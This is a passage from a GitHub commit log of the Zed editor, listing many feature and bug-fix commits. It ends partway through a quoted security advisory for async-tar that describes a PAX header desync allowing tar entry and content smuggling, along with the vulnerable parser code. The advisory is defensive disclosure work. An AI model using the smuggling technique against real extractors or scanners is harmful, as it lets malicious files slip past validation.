7862fff55ccf4de673ea4ec00b8b173c2d25b281
39045
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
7862fff55c |
settings_ui: Add confirmation prompt before deleting a skill (#61044)
Previously, clicking the trash icon on the Skills settings page
immediately moved the skill's directory to the trash.
This PR now shows a confirmation prompt explains what will be deleted
and where it's shared before anything is moved to the trash. This is
because that directory is shared with other agent tools
(`~/.agents/skills` or `{project}/.agents/skills`), deleting it silently
affects more than just Zed, I think it's better to explain that.
<img height="250" alt="global-skill-delete"
src="https://github.com/user-attachments/assets/d49ecc92-c195-42d2-924e-6fb9d024d2ec"
/>
<img height="250" alt="project-skill-delete"
src="https://github.com/user-attachments/assets/4b84af28-b8fd-4635-afe5-c1cd73d09e1a"
/>
Release Notes:
- Added a confirmation prompt when deleting skills from the settings
window.
|
||
|
|
919ec316f3 |
search: Add LSP location pickers for references, definitions, and diagnostics (#59838)
# Objective Closes #59829 Provide a filterable, preview-backed picker for LSP results as an alternative to the multi-buffer view, for references, definitions, implementations. ## Solution Update the 3 existing LSP actions (definitions, implementations, find all references) to add a `open_results_in` parameter which accepts either `multi_buffer` (default) or `picker` to show the results in a filterable picker with preview. This behavior can be configured globally in the settings via `lsp_results_location`. UX: - The 3 existing LSP actions each accept a `open_results_in` parameter so that each action can be configuring individually with a custom keybind - The `lsp_results_location` global setting can be used to set a default behavior with `open_results_in == None` - Go to definition falls back to find all references (if configured) on empty results which is consistent with the non-picker path - Results are grouped by file; each row shows the line number and the syntax-highlighted source line with the match emphasized. - Typing filters by line text or path; the preview updates with the selection. - Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split, and re-invoking the command toggles the picker closed. - Empty results show a toast so the command never silently does nothing. - Note: the new pickers do not open on cmd-click, only when invoked via the command palette or keybind ## Testing - No automated tests yet — holding for first-round feedback on the approach and UX before adding tests. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8 --- Release Notes: - The find all references, go to definitions, and go to implementations LSP actions can be configured to open results in a picker with preview instead of a multibuffer. |
||
|
|
27a3512d00 |
Classify edit prediction lifecycle triggers (#60983)
# Objective Closes EP-89 - Replace ambiguous `Other` edit prediction telemetry for known editor lifecycle events. ## Solution - Classify editor creation, provider changes, user information changes, Vim mode changes, and settings changes through the existing trigger pipeline. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
3bc93379ca |
path: Fix unconditional use of serde in path crate (#61037)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
1a6dbec40c |
ui: Add some icon clean up (#61010)
Remove some unused ones and update design for a few others. Release Notes: - N/A |
||
|
|
24f720e094 |
Revert "agent_ui: Fix duplicate terminal when starting a new agent thread" (#61042)
Reverts zed-industries/zed#59586 The test introduced here is flaky |
||
|
|
a6a2cd66b0 |
language_core: Remove lsp-types dependency (#61041)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
c658639115 |
terminal_view: Fix cursor column for non-ASCII lines when opening path-like targets (#61036)
Found this while looking into a markdown preview issue. Clicking a `path:row:column` target in the terminal treated the column as a byte offset, so on lines with non-ASCII characters the cursor landed at mid codepoint. The real fix is just 3 lines and the rest is a refactor that extracts the open and navigate logic so it can be reused later for cases like markdown preview. Release Notes: - Fixed the cursor landing at the wrong column when clicking a `path:row:column` link in the terminal for lines containing non-ASCII characters. |
||
|
|
fc20a40bc8 |
settings_ui: Move deleted skills to trash instead of permanently deleting (#61031)
Deleting a skill from the settings UI permanently removed its directory from `~/.agents/skills`, which is shared with other tools that read the same unified skills directory. Now we move it to the system trash instead so it's recoverable. Release Notes: - Deleting a skill now moves it to the system trash instead of permanently deleting it. |
||
|
|
458c590537 |
agent_panel: Fix that the awaiting confirmation content does cover the hole agent panel (#60992)
# Objective Currently the sticky `awaiting confirmation` content can grow as big as the agent panel can go as you can see inside the before picture, that shows that the full agent panel is coverd by the cofirmation content. Which is not something we want, because there is no way to see the actual thread anymore. **Note**: There was already a fix for this according to this comment but I could not end up inside that case where it would limit the content. ``` // Cap the content (e.g. a full plan awaiting // approval) so the floating row can never // consume the entire panel and squeeze the // conversation list to zero height, while the // permission buttons below stay visible. ``` ## Solution The fix is to actually limit the content to a max height of 160px(10rem), which is the value that it was before, but that didn't work. So I made sure the tool output is now scrollable and it's height is limited to the specified limit described earlier. ## Testing You can ask if the agent wants to executes this command, that is just a very long non existing url. Note, you need to have not auto accept of permissions enabled to test this bug. ``` curl -sS -v --max-time 15 "https://this-domain-almost-certainly-does-not-exist-abcdefghijklmnopqrstuvwxyz-0123456789-super-duper-extra-long-subdomain-that-nobody-would-ever-register.another-ridiculously-long-and-completely-fake-nonexistent-host-name-9876543210.invalid/api/v1/resources/collections/items/subitems/segment01/segment02/segment03/segment04/segment05/segment06/segment07/segment08/segment09/segment10/segment11/segment12/segment13/segment14/segment15/segment16/segment17/segment18/segment19/segment20/segment21/segment22/segment23/segment24/segment25/segment26/segment27/segment28/segment29/segment30/segment31/segment32/segment33/segment34/segment35/segment36/segment37/segment38/segment39/segment40/segment41/segment42/segment43/segment44/segment45/segment46/segment47/segment48/segment49/segment50/segment51/segment52/segment53/segment54/segment55/segment56/segment57/segment58/segment59/segment60/segment61/segment62/segment63/segment64/segment65/segment66/segment67/segment68/segment69/segment70/segment71/segment72/segment73/segment74/segment75/segment76/segment77/segment78/segment79/segment80/segment81/segment82/segment83/segment84/segment85/segment86/segment87/segment88/segment89/segment90/segment91/segment92/segment93/segment94/segment95/segment96/segment97/segment98/segment99/segment100?param01=value01¶m02=value02¶m03=value03¶m04=value04¶m05=value05¶m06=value06¶m07=value07¶m08=value08¶m09=value09¶m10=value10¶m11=value11¶m12=value12¶m13=value13¶m14=value14¶m15=value15¶m16=value16¶m17=value17¶m18=value18¶m19=value19¶m20=value20¶m21=value21¶m22=value22¶m23=value23¶m24=value24¶m25=value25¶m26=value26¶m27=value27¶m28=value28¶m29=value29¶m30=value30¶m31=value31¶m32=value32¶m33=value33¶m34=value34¶m35=value35¶m36=value36¶m37=value37¶m38=value38¶m39=value39¶m40=value40¶m41=value41¶m42=value42¶m43=value43¶m44=value44¶m45=value45¶m46=value46¶m47=value47¶m48=value48¶m49=value49¶m50=value50&the=end" ``` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase **Before** (**Note** the panel is fully coverd by the confirmation content) <img width="528" height="817" alt="Screenshot 2026-07-14 at 19 17 53" src="https://github.com/user-attachments/assets/db0a6b87-2564-4831-9a26-384896ccaefe" /> **After** (**Note** the confirmation text is now scrollable again and it does not cover the full panel anymore) https://github.com/user-attachments/assets/6c391509-755b-4727-b473-58c21603c4ec --- Release Notes: - Agent Panel: Fixed that the sticky `awaiting confirmation` content could take up the hole agent panel |
||
|
|
272d4f1cc2 |
project: Persist workspace diagnostics when closing buffer (#59875)
# Objective Closes #50739 Many language servers have settings for their diagnostic mode, typically supporting either "single file" mode or "workspace" mode. In single file mode, the language server only generates diagnostics for files that the user has open. When a file is closed, those diagnostics are cleared. This is the behavior currently implemented in Zed. However, when a language server runs in workspace mode, we should retain all diagnostics regardless of whether the corresponding file is open or closed. As reported in #50739, Zed currently discards these diagnostics when a buffer is closed, just like in single file mode. When a buffer is completely closed, Zed triggers a diagnostics update to perform cleanup: https://github.com/zed-industries/zed/blob/6e8b0ae150b6140a398a87a3eb1cd4dd1568c504/crates/project/src/lsp_store.rs#L4747-L4773 and the Pulled diagnostics are all cleaned, that's why when closing a buffer, the diagnostic summary disappeared. This process aggressively clears all `Pulled` diagnostics, causing the diagnostic summary for the closed file to disappear. ## Solution Filter the target language servers when updating diagnostics on buffer close. If a language server has workspace diagnostics enabled, we skip clearing its diagnostics. ## Testing Added two new integration tests in `crates/project/tests/integration/project_tests.rs`: 1. `test_diagnostic_summaries_cleared_on_buffer_close_without_workspace_diagnostics`: Verifies that diagnostics are cleared on buffer close when workspace diagnostics is disabled. 2. `test_diagnostic_summaries_retained_on_buffer_close_with_workspace_diagnostics`: Verifies that diagnostics are retained when workspace diagnostics are enabled. (This test fails on the current `main` branch). I have also verified this functionality locally. Both local and remote development environments work as expected. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase <details> <summary>Click to view showcase</summary> My super cool demos here </details> --- Release Notes: - Fixed workspace diagnostics being cleared when closing a buffer. |
||
|
|
1bad9ca29d |
languages: Fix Pyright ignoring toolchain when LSP settings are configured (#59990)
# Objective Closes #55936 Helps #57288 There is a strange behavior for Python users when using basedpyright or pyright as the language server. As reported in #55936, when no settings are configured in `lsp.basedpyright.settings`, the language server correctly receives toolchain information discovered by Zed: ```json { "venvPath": ".", "venv": ".venv", "python": { "pythonPath": "/home/xin/works/test/test_python/.venv/bin/python", "defaultInterpreterPath": "/home/xin/works/test/test_python/.venv/bin/python" }, "basedpyright.analysis": { "typeCheckingMode": "standard" }, "basedpyright.disableOrganizeImports": true } ``` However, when the user configures any other settings in `lsp.basedpyright.settings`, the toolchain information is silently lost. For example, with the following `settings.json`: ```jsonc { "lsp": { "basedpyright": { "settings": { "analysis": { "diagnosticMode": "workspace", "typeCheckingMode": "standard", "inlayHints.callArgumentNames": true, "inlayHints.variableTypes": true, }, }, } } } ``` The final configuration sent to the language server becomes: ```json { "analysis": { "diagnosticMode": "workspace", "typeCheckingMode": "standard", "inlayHints.callArgumentNames": true, "inlayHints.variableTypes": true } } ``` No toolchain information is passed, so the language server ignores the user's selected Python environment and falls back to whatever virtual environment it discovers on its own. To make toolchain selection work, users currently have to manually configure virtual environment settings themselves (as noted in https://github.com/zed-industries/zed/issues/57288#issuecomment-4750935341). This issue was introduced in #48262, which aimed to make the virtual environment used by basedpyright/pyright configurable. The core logic is the `should_insert_toolchain` closure, originally designed to check whether Zed should inject the detected toolchain into the language server configuration. The intent was: if the user has already configured a virtual environment in the language server settings, skip the injection. https://github.com/zed-industries/zed/blob/d4e43845fa1086512dedafdd2c852d167d005bb0/crates/languages/src/python.rs#L2115-L2128 However, the original logic was inverted — it injected the toolchain when the user had no settings at all or when they had configured virtual environment keys. This meant that when the user had LSP settings but no virtual environment configuration, toolchain injection was skipped, as reported in #55936. ## Solution Change the logic defined in `should_insert_toolchain` closure, instead of insert toolchain when detected virtual environment settings, now we insert toolchain when no virtual environment settings is detected. ## Testing Tested locally. The logic change is simple, should be easy for review. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed toolchain selection being ignored when Pyright or Basedpyright settings are configured without specifying a Python interpreter path |
||
|
|
6b6393fb0b |
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
47bcfa40d6 |
workspace: Fix toolchain not recovered correctly in remote development (#60030)
# Objective Closes #55925 Closes #59094 When a Python project is opened and a toolchain is selected, Zed stores/persists this choice in the database. When the project is reopened later, that saved toolchain should be automatically selected. However, this recovery mechanism requires the associated worktree to be loaded first. In local development, the worktrees are loaded first, after which the toolchain is restored and activated: https://github.com/zed-industries/zed/blob/4083fc859288fdbc11a94c0b19c359350098e252/crates/workspace/src/workspace.rs#L1916-L1955 But in remote development, the toolchain restoration block runs at the very beginning of initialization, before any worktrees are loaded: https://github.com/zed-industries/zed/blob/4083fc859288fdbc11a94c0b19c359350098e252/crates/workspace/src/workspace.rs#L10381-L10413 Because the worktree does not exist yet when the toolchain is processed, `find_worktree` always returns `None`, and the saved toolchain is never activated. This breaks toolchain persistence for remote workspaces. ## Solution Move the toolchain activation block in `open_remote_project_inner` so it runs after the worktrees have been loaded, matching the sequence used in `new_local`. This ensures the worktree is present in the project when we perform the ID lookup and activate the toolchain. ## Testing Tested locally with a Windows client connecting to a remote Linux server, verifying that the previously selected virtual environment is correctly restored upon reopening the workspace. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed Python virtual environments not automatically restoring when reopening a remote development workspace. Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
995cc07249 |
git: Add a gpg wrapper script to route GnuPG prompts via the askpass UI (#58791)
This PR adds support for entering your git GPG passphrase through the askpass UI. As a daily Zed user I'm really missing this feature, this forces me to switch to a terminal or an external application. which is not ideal for me and most people that are forced to use GPG signing. Right now Zed can show a similar error (redacted) when you are trying to commit with GPG signing enabled: ``` error: gpg failed to sign the data: [GNUPG:] KEY_CONSIDERED <redacted> 2 [GNUPG:] BEGIN_SIGNING H8 [GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0 gpg: signing failed: Inappropriate ioctl for device [GNUPG:] FAILURE sign <redacted> gpg: signing failed: Inappropriate ioctl for device fatal: failed to write commit object ``` Here is the key configurion parts of my **global** git config: ``` [user] name = Remco Smits email = <redacted> signingkey = <redacted> [commit] gpgsign = true [tag] gpgsign = true ``` **Before** https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d **After** https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a **How to test this?** 1. Create a key `gpg --full-generate-key` 2. Run `git config --global user.signingkey <KEY ID>` 3. Run `git config --global commit.gpgsign true` 4. Run & copy result from `gpg --armor --export <KEY ID>` and submit your public key to github [https://github.com/settings/gpg/new](https://github.com/settings/gpg/new) 5. Make a change and try committing 6. See that it promts for your passphrase :) **Note**: I used AI as an assistant to write this PR Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Git: Passphrase prompts from GPG to unlock commit signing keys are now shown in Zed. Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
e963df8029 |
gpui: Linux wayland set exclusive zone and edge (#60163)
# Objective The exclusive zone and exclusive edge of a wlr-layer-shell surface could only be set once, at creation, through `LayerShellOptions`. This adds runtime setters so a live layer-shell window such as a panel can update them without being recreated. ## Solution Add two methods on `Window`: - `set_exclusive_zone` updates how much screen space the surface reserves. A positive value reserves that distance from the anchored edge, 0 lets the surface be moved out of others' exclusive zones, and -1 ignores reserved space and may extend under other surfaces. - `set_exclusive_edge` chooses which anchored edge the exclusive zone applies to, which is needed to disambiguate a corner-anchored surface. Setting an exclusive edge the surface is not anchored to is a fatal protocol error, so the edge is validated (it must be a single edge that the surface anchor contains) and an invalid edge is logged and ignored. The same validation now also guards the creation path. Both setters only commit the surface when a change actually applies, and are no-ops on non-layer-shell windows and on other platforms. This is where these 2 are documented: https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_zone https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_edge ## Testing - Verified with a small local layer-shell window (a top bar anchored TOP, LEFT, RIGHT) with buttons that call the setters at runtime - No automated test was added, since this calls through to the compositor. - Reviewers without a layer-shell capable compositor (for example GNOME/Mutter) cannot exercise this, as `zwlr_layer_shell_v1` is unavailable there, I tested this on the [Smithay](https://github.com/Smithay/smithay/) based compositor [niri](https://github.com/niri-wm/niri) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
1063107f5e |
Show download percentage in download button's tooltip (#60990)
Closes https://github.com/zed-industries/zed/discussions/60944 <img width="568" height="143" alt="downloads" src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839" /> Release Notes: - Started to show download percentage in download button's tooltip |
||
|
|
d224ea86e8 |
Add a bespoke LSP request path for edit prediction context (#60947)
Closes EP-193
Edit prediction context collection previously reused the editor
goto-definition / goto-type-definition path, which resolves every LSP
result into a `LocationLink` — opening a buffer per target (worktree
creation, buffer registration, anchor conversion) before edit prediction
gets a chance to filter. On remote projects the host additionally
created a peer-visible buffer per link and the client waited on each
one.
This adds a bespoke request path that returns raw results first and only
does the expensive work for results that survive filtering:
- New `EditPredictionDefinition { path: ProjectPath, range:
Range<Unclipped<PointUtf16>> }` boundary type. LSP wire types never
leave `lsp_command.rs`; the workspace-only filter and URI→`ProjectPath`
resolution happen while normalizing the LSP response, before any buffer
exists, so the type encodes the workspace-only invariant.
- New `GetEditPredictionDefinitions` /
`GetEditPredictionTypeDefinitions` LSP commands and proto messages.
Responses carry only path + UTF-16 range — the host never calls
`create_buffer_for_peer` and the client never waits on remote buffers.
- One public API: `Project::edit_prediction_definitions(buffer,
position, include_type_definitions, cx)` fires both LSP requests
concurrently and returns a merged, deduped list ("not capable" = empty).
The definition/type-definition split was never used downstream, so
`CacheEntry` now holds a single list and the fetch pipeline runs one
task per identifier.
- `edit_prediction_context` dedupes raw results before opening buffers;
survivors open via `project.open_buffer(ProjectPath)` (skipping the
invisible-worktree/yarn machinery of `open_local_buffer_via_lsp`, and
working identically on remote projects), then clip → anchor →
`MAX_TARGET_LEN`.
- Removes the `workspace_only` flag from `GetDefinitions` /
`GetTypeDefinitions`: edit prediction was its only user. The editor path
always sent `false`, which proto3 doesn't encode, so normal
goto-definition requests are wire-identical; old peers still sending
`true` get unfiltered results (graceful degradation). The proto field
numbers are `reserved`.
Tested with a local test proving filtering precedes buffer opening (an
out-of-workspace target never spawns a worktree, an oversized target is
excluded from related files) and a collab test proving the remote
round-trip returns correct paths/ranges without opening buffers on the
client.
Release Notes:
- N/A
|
||
|
|
31f1c84909 |
crashes: Capture glibc's abort diagnostic in crash reports (#60624)
Linux crash reports for runtime-initiated aborts currently carry no information about why the runtime aborted. A sizable family of Sentry issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/) among them) consists of glibc's malloc integrity checks detecting heap corruption and aborting from inside `malloc`/`realloc`/`free`, so each event lands on a random victim stack and the underlying problem stays invisible and ungroupable. glibc records the diagnostic it prints before aborting ("free(): invalid pointer", "double free or corruption", assertion failures, stack-smashing reports) in the private `__abort_msg` global specifically so it can be recovered post-mortem. This resolves that symbol's address at startup and sends it to the crash-handler process; when a crash comes in, the handler reads the message out of the crashed process's memory with `process_vm_readv` while the client is still parked in its signal handler awaiting the dump acknowledgement. The message is then attached to crash uploads as a searchable `abort_message` tag plus a full-text context. The crashed process does no work itself, which matters because in exactly these crashes the crashed thread may hold the allocator's arena lock, so it cannot safely allocate or format anything. Everything degrades gracefully to the current behavior when the symbol is unavailable (musl, future glibc changes). With the tag in place, Sentry fingerprint rules can fold these corruption aborts into a single tracked issue instead of minting a new single-event issue per victim stack, and the message text distinguishes double-frees from out-of-bounds metadata corruption when hunting the actual culprit. Release Notes: - N/A |
||
|
|
1e9a452d5b |
Focus on the history tabs context menu when deploying (#61000)
Release Notes: - N/A |
||
|
|
0162e0ce7c |
workspace: Add ToggleEditorZoom action to maximize active pane (#53911)
VS Code has a command called "Toggle Maximize Editor Group" (`Cmd+K Cmd+M`) that expands the active editor pane to fill the entire center area, hiding editor split panes, but leaving docks and panels visible. Zed's existing `ToggleZoom` hides all panels and is closer to VS Code's Zen Mode. VS Code has both — it would be useful for Zed to as well. This is particularly useful for people working on laptops, and has been raised before (#32715, #4897, #32860), but the addition of the project panel alongside the agent panel has made it more relevant. I work with the editor split vertically, but with the project and agent panels both visible, on a laptop screen there's really only room for a single editor pane. This command makes it easy to switch to and from that mode. **Behavior:** - New action: `workspace::ToggleEditorZoom` - When activated, the active editor pane expands to fill 100% of the center/editor area, hiding sibling split panes - Docks and panels remain visible and unaffected - Toggling again restores the previous split layout - If `ToggleZoom` is active, it unzooms first, then maximizes Here's a demo: https://github.com/user-attachments/assets/fcf6748e-6c45-4c4a-8d9f-f106c6cd58ea Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #32715 Release Notes: - Added `workspace::ToggleEditorZoom` action to maximize the active editor pane within the center area while keeping panels visible. |
||
|
|
3cca0b3f14 |
Show both local and remote checkouts in Recent Projects (#53953)
This fixes #53917. Recent Projects was treating local and remote workspaces as the same entry whenever they resolved to the same checkout path. That meant one could hide the other, and if one of them was already open, the picker could end up hiding both. This change keeps the deduplication and picker filtering keyed on both the workspace location and the path list, so local and remote copies of the same repo can both appear when they should. ## Test plan - `rustfmt --edition 2024 crates/recent_projects/src/recent_projects.rs crates/workspace/src/persistence.rs` - `git diff --check -- crates/recent_projects/src/recent_projects.rs crates/workspace/src/persistence.rs` Release Notes: - Fixed Recent Projects hiding either the local or remote workspace when both used the same checkout path. Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com> |
||
|
|
0188a3a952 |
Surface the git graph context menu in the git panel's history tab (#60713)
This PR refactors the Git Graph’s commit context menu into its own file so it can be reused by both the Git Graph and the Git panel’s History tab. <img width="511" height="566" alt="SCR-20260709-qlxt" src="https://github.com/user-attachments/assets/8f18f22b-21d7-46a0-8ce2-183cf4af86c9" /> Also, includes a "Show in Git Graph" option only shown in the history tab's context menu: https://github.com/user-attachments/assets/2e30648b-2802-4caa-a99e-2d135e2dc539 Release Notes: - Surfaced the git graph context menu in the git panel's history tab. |
||
|
|
27095fe544 |
git_ui: Improve the staged & unstaged grouping in the git panel (#60976)
Follow up to https://github.com/zed-industries/zed/pull/59884 This PR refines how the git panel behaves when grouping changes by staging state, with a focus on making staging workflows predictable and conflict resolution safe. - Renamed the "Group By" menu options to describe what you actually see: **"Tracked & Untracked"** (was "Status") and **"Staged & Unstaged"** (was "Staging"). - When grouping by staged & unstaged, both sections now stay visible even when empty, showing a placeholder message ("No staged changes yet" / "No unstaged changes"). Previously an empty section disappeared entirely, which made the panel layout jump around as you staged and unstaged files, and made it harder to tell at a glance that nothing was staged yet. - Section header controls are now consistent checkboxes everywhere (previously a mix of checkboxes and +/− icon buttons), with "Stage All" / "Unstage All" tooltips. Headers of empty sections render no checkbox and don't react to clicks or hover. I appreciate the debate that happened in the PR linked above about this but I was personally having a hard time understanding what was the difference in interaction given the action was exactly the same, we were just having different UIs, which looked inconsistent. - Arrow-key navigation now skips over section headers and empty-section placeholder rows in both flat and tree view, instead of getting stuck or selecting non-interactive rows — including when jumping to the first or last entry. - In the staged & unstaged grouping, a partially staged file appears in both sections. Each row's checkbox and tooltip now follow the section it's rendered in: rows in Staged always unstage, rows in Unstaged always stage — including via shift-click range operations, which now also support bulk *unstaging* within the Staged section (previously ranges could only stage). The context menu's Stage/Unstage label follows the same rule and stays in sync with in-flight staging operations. - Conflicted files are grouped by whether the current merge marked them conflicted (rather than raw status), so a conflict you've resolved stays visible under "Conflicts" until the merge concludes. On top of that, resolution is now one-way in the UI: - Ticking a conflicted file's checkbox marks it resolved (stages it). Once resolved, the checkbox is disabled with a "Conflict marked as resolved" tooltip — unticking it would silently discard git's record of the unmerged base/ours/theirs versions, a round-trip git can't actually perform. - The same lock applies everywhere the file can be reached: the keyboard toggle, folder checkboxes in tree view, the Conflicts section header (disabled once all conflicts are resolved), "Stage All"/"Unstage All" on the Staged/Unstaged headers, and shift-click range sweeps — none of them will resolve or un-resolve a conflict as a side effect. - The explicit `git: unstage file` action still works as a deliberate escape hatch. --- Here's a video, where you can see I stage and unstage whole files, make a partial staging, and get into a merge-conflict state, where the conflicted files are tagged as resolved: https://github.com/user-attachments/assets/d27ef9c6-5691-45c1-91ab-c3b152aaaa60 --- Release Notes: - N/A _(given the feature hasn't been released yet_) |
||
|
|
c2ae4dfbcb |
pickers: Remove picker::ToMultiBuffer action we did not land (#60979)
Missed this when shipping the pickers. The feature is still planned and tracked in the tracking issue. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
19d2b88762 |
settings_content: Fix globally excluded language servers starting (#60984)
Closes https://github.com/zed-industries/zed/issues/60763 Follow-up to #60000. Global language server exclusions were added to per-language settings without removing an explicit enable for the same server, allowing it to still start. For example, this setting should disable `vtsls` for every language: ```json { "language_servers": ["!vtsls", "..."] } ``` However, TypeScript’s default configuration explicitly enables `vtsls`, causing it to still start. Release Notes: - Fixed language servers starting despite being disabled globally. |
||
|
|
89f41661ff |
Properly notify on inline diagnostics toggle (#60978)
Closes https://github.com/zed-industries/zed/issues/60959 Release Notes: - Fixed inline diagnostics not instantly [dis]appearing after toggling |
||
|
|
dd5f651227 |
Use more efficient thread pool API on Windows (#60917)
This interface uses fewer syscalls and has less internal synchronization (since the `TP_WORK` object is not exposed). Release Notes: - N/A |
||
|
|
084cf7b50f |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let 